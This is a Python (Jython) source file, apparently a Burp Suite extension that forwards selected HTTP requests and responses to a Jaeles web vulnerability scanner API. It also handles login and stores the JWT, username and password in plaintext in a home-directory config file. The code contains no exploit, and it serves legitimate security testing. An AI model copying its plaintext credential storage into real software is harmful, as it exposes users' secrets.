        # main split pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)

        # table of log entries
        # logTable = Table(self)
        # scrollPane = JScrollPane(logTable)

        # _toppane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        _mainpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        _mainpane.setResizeWeight(0.5)
        # _mainpane = JPanel()

        _toppane = JPanel()

        # top pane
        self.banner = JLabel("Jaeles - The Swiss Army knife for automated Web Application Testing. ")
        self.banner.setBounds(50, 30, 200, 400)

        self.banner2 = JLabel("Official Documentation: https://jaeles-project.github.io/")
        self.banner2.setBounds(100, 50, 200, 400)
        _toppane.add(self.banner)
        _toppane.add(self.banner2)

        # _botpane = JPanel()
        _botpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)

        # bot pane
        self.HostLabel = JLabel("Jaeles Endpoint: ")
        self.HostLabel.setBounds(100, 150, 200, 400)

        self.Jaeles_endpoint = 'http://127.0.0.1:5000/api/parse'
        self.jwt = 'Jaeles token_here'
        # just prevent plugin error when you doesn't have server running
        try:
            self.initial()
            jwt, endpoint = self.get_config()
            if endpoint:
                self.Jaeles_endpoint = endpoint        
            if jwt:
                self.jwt = jwt
        except:
            pass

        endpoint_pane = JPanel()

        # end point to submit request
        self.EndpointText = JTextArea(self.Jaeles_endpoint, 3, 100)

        self.jwtLabel = JLabel("Jaeles JWT token: ")
        self.jwtLabel.setBounds(100, 300, 250, 450)

        self.jwtText = JTextArea(self.jwt, 3, 100, lineWrap=True)

        buttons = JPanel()
        self.buttonLabel = JLabel("Actions: ")
        self.buttonLabel.setBounds(150, 200, 200, 400)
        self._saveButton = JButton("Save", actionPerformed=self.saveToken)
        self._loadButton = JButton(
            "Test Connection", actionPerformed=self.butClick)
        self._reloadButton = JButton("Reload", actionPerformed=self.butClick)

        oob_control = JPanel()
        self.oobLabel = JLabel("OOB: ")
        self.oobLabel.setBounds(150, 200, 200, 400)
        self._saveoob = JButton("Save OOB", actionPerformed=self.saveToken)
        self._pollingBox = JCheckBox("Polling")
        self._pollingBox.setBounds(290, 25, 300, 30)
        oob_control.add(self.oobLabel)
        oob_control.add(self._saveoob)
        oob_control.add(self._pollingBox)

        # _botpane.add(self.banner)
        # endpoint_pane.add(self.blankLabel)
        endpoint_pane.add(self.HostLabel)
        endpoint_pane.add(self.EndpointText)
        endpoint_pane.add(self.jwtLabel)
        endpoint_pane.add(self.jwtText)

        buttons.add(self.buttonLabel)
        buttons.add(self._saveButton)
        buttons.add(self._loadButton)
        buttons.add(self._reloadButton)

        _botpane.setLeftComponent(oob_control)
        _botpane.setLeftComponent(endpoint_pane)
        _botpane.setRightComponent(buttons)
        _botpane.setResizeWeight(0.7)

        # set
        _mainpane.setLeftComponent(_toppane)
        _mainpane.setRightComponent(_botpane)

        self._splitpane.setLeftComponent(_mainpane)

        ###########
        # tabs with request/response viewers
        tabs = JTabbedPane()

        self.log_area = JTextArea("", 5, 30)
        # self._requestViewer = callbacks.createMessageEditor(self, False)

        tabs.addTab("Log", self.log_area)
        # tabs.addTab("Config", self._requestViewer.getComponent())

        self._splitpane.setRightComponent(tabs)
        self._splitpane.setResizeWeight(0.5)

        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(tabs)

        callbacks.registerContextMenuFactory(self)

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        # register ourselves as an HTTP listener
        # callbacks.registerHttpListener(self)
        self.print_log("[*] Jaeles Loaded ...")
        return

    #
    # implement ITab
    #

    ##
    def saveToken(self, e):
        token = self.jwtText.getText().strip()
        endpoint = self.EndpointText.getText().strip()
        self.Jaeles_endpoint = endpoint
        self.jwt = token
        self.set_config(token, endpoint)

    def butClick(self, e):
        button_name = e.getActionCommand()

        if button_name == 'Reload':
            # self.initial()
            username, password = self.get_cred()
            self.login(username, password)
            jwt, endpoint = self.get_config()
            self.Jaeles_endpoint = endpoint
            self.jwt = jwt
            self.print_log("[+] Reload Config")

        elif button_name == 'Test Connection':
            connection = self.test_connection()
            if connection:
                self.print_log("[+] Ready to send request to {0}".format(self.Jaeles_endpoint))
            else:
                self.print_log("[-] Fail to authen with API server at {0}".format(self.Jaeles_endpoint))

    def createMenuItems(self, invocation):
        responses = invocation.getSelectedMessages()
        if responses > 0:
            ret = LinkedList()
            requestMenuItem = JMenuItem("[*] Send request to Jaeles Endpoint")
            requestMenuItem.addActionListener(
                handleMenuItems(self, responses, "request"))
            ret.add(requestMenuItem)
            return ret
        return None

    def highlightTab(self):
        currentPane = self._splitpane
        previousPane = currentPane
        while currentPane and not isinstance(currentPane, JTabbedPane):
            previousPane = currentPane
            currentPane = currentPane.getParent()
        if currentPane:
            index = currentPane.indexOfComponent(previousPane)
            currentPane.setBackgroundAt(index, Color(0xff6633))

            class setColorBackActionListener(ActionListener):
                def actionPerformed(self, e):
                    currentPane.setBackgroundAt(index, Color.BLACK)

            timer = Timer(5000, setColorBackActionListener())
            timer.setRepeats(False)
            timer.start()

    def getTabCaption(self):
        return "Jaeles"

    def getUiComponent(self):
        return self._splitpane

    #
    # implement Polling Collaborator
    # this allows our request/response viewers to obtain details about the messages being displayed
    #
    # def jaeles_collab(self, collab):
    #     oob = collab.generatePayload(True)

    #     # oob2 = collab.generatePayload(True)
    #     # print(oob2)
    #     self.print_log("[+] Gen oob host: {0}".format(oob))
    #     # print(oob)
    #     # os.system('curl {0}'.format(oob))

    #
    # implement IMessageEditorController
    # this allows our request/response viewers to obtain details about the messages being displayed
    #
    def sendRequestToJaeles(self, messageInfos):
        for messageInfo in messageInfos:
            data_json = self.req_parsing(messageInfo)

            if data_json:
                self.print_log("Import to external Jaeles ...")
                self.import_to_Jaeles(data_json)
            else:
                self.print_log("No response on selected request")
            self.print_log("-"*30)

    # start of my function
    def req_parsing(self, messageInfo):
        data_json = {}
        data_json['req_scheme'] = str(messageInfo.getProtocol())  # return http
        data_json['req_host'] = str(messageInfo.getHost())
        data_json['req_port'] = str(messageInfo.getPort())
        data_json['url'] = str(messageInfo.getUrl())

        # full request
        full_req = self._helpers.bytesToString(messageInfo.getRequest())
        data_json['req'] = self.just_base64(str(full_req))

        if messageInfo.getResponse():
            full_res = self._helpers.bytesToString(messageInfo.getResponse())
        else:
            full_res = None
        if not full_res:
            data_json['res'] = ""
            return data_json

        data_json['res'] = self.just_base64(str(full_res.encode('utf-8')))
        return data_json

    # send data to Jaeles API Endpoint
    def import_to_Jaeles(self, data_json):
        req = urllib2.Request(self.Jaeles_endpoint)
        req.add_header('Content-Type', 'application/json')
        req.add_header('Authorization', self.jwt)
        response = urllib2.urlopen(req, json.dumps(data_json))
        if str(response.code) == "200":
            self.print_log("[+] Start scan {0}".format(data_json['url']))
        else:
            self.print_log("[-] Fail Send request to {0}".format(self.Jaeles_endpoint))

    # check if token is available or not
    def initial(self):
        connection = self.test_connection()
        if connection:
            return True
        username, password = self.get_cred()
        valid_cred = self.login(username, password)
        if valid_cred:
            return True
        return False

    # do login
    def login(self, username, password):
        req = urllib2.Request(self.Jaeles_endpoint.replace("/api/parse","/auth/login"))
        req.add_header('Content-Type', 'application/json')
        response = urllib2.urlopen(req, json.dumps({"username": username, "password": password}))

        if str(response.code) == "200":
            data = json.loads(response.read())
            token = "Jaeles " + data.get("token")
            self.set_config(token, self.Jaeles_endpoint, username, password)
            print("[+] Authentication success on {0}".format(self.Jaeles_endpoint))
            return True
        else:
            print("[-] Can't authen on {0}".format(self.Jaeles_endpoint))
            return False

    # check connection
    def test_connection(self):
        req = urllib2.Request(self.Jaeles_endpoint.replace("/parse", "/ping"))
        req.add_header('Content-Type', 'application/json')
        req.add_header('Authorization', self.jwt)
        try:
            response = urllib2.urlopen(req)
            if str(response.code) == "200":
                return True
        except:
            pass
        return False

    # get default credentials
    def get_cred(self):
        config_path = self.get_config_path()
        if os.path.isfile(config_path):
            with open(config_path, 'r') as f:
                data = json.load(f)
            print('[+] Load credentials from {0}'.format(config_path))
            return data.get('username', False), data.get('password', False)
        else:
            print('[-] No config file to load.')
            return False, False

    # get token and endpoint
    def get_config(self):
        config_path = self.get_config_path()
        if os.path.isfile(config_path):
            with open(config_path, 'r') as f:
                data = json.load(f)
            print('[+] Load JWT from {0}'.format(config_path))
            return data.get('JWT', False), data.get('endpoint', False)
        else:
            print('[-] No config file to load.')
            return False, False

    # save jwt token and endpoint to ~/.jaeles/burp.json
    def set_config(self, token, endpoint, username='', password=''):
        data = {
            'JWT': token,
            'endpoint': endpoint,
            'username': username,
            'password': password,
        }
        config_path = self.get_config_path()
        jaeles_path = os.path.dirname(config_path)

        if jaeles_path and not os.path.exists(jaeles_path):
            os.makedirs(jaeles_path)
        with open(config_path, 'w+') as f:
            json.dump(data, f)

        print('[+] Store JWT in {0}'.format(config_path))
        return True

    def just_base64(self, text):
        if not text:
            return ""
        return str(base64.b64encode(str(text)))

    def get_config_path(self):
        home = os.path.expanduser('~{0}'.format(getpass.getuser()))
        jaeles_path = os.path.join(home, '.jaeles')

        config_path = os.path.join(jaeles_path, 'burp.json')
        return config_path

    def print_log(self, text):
        if type(text) != str:
            text = str(text)
        self.log_area.append(text)
        self.log_area.append("\n")

    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()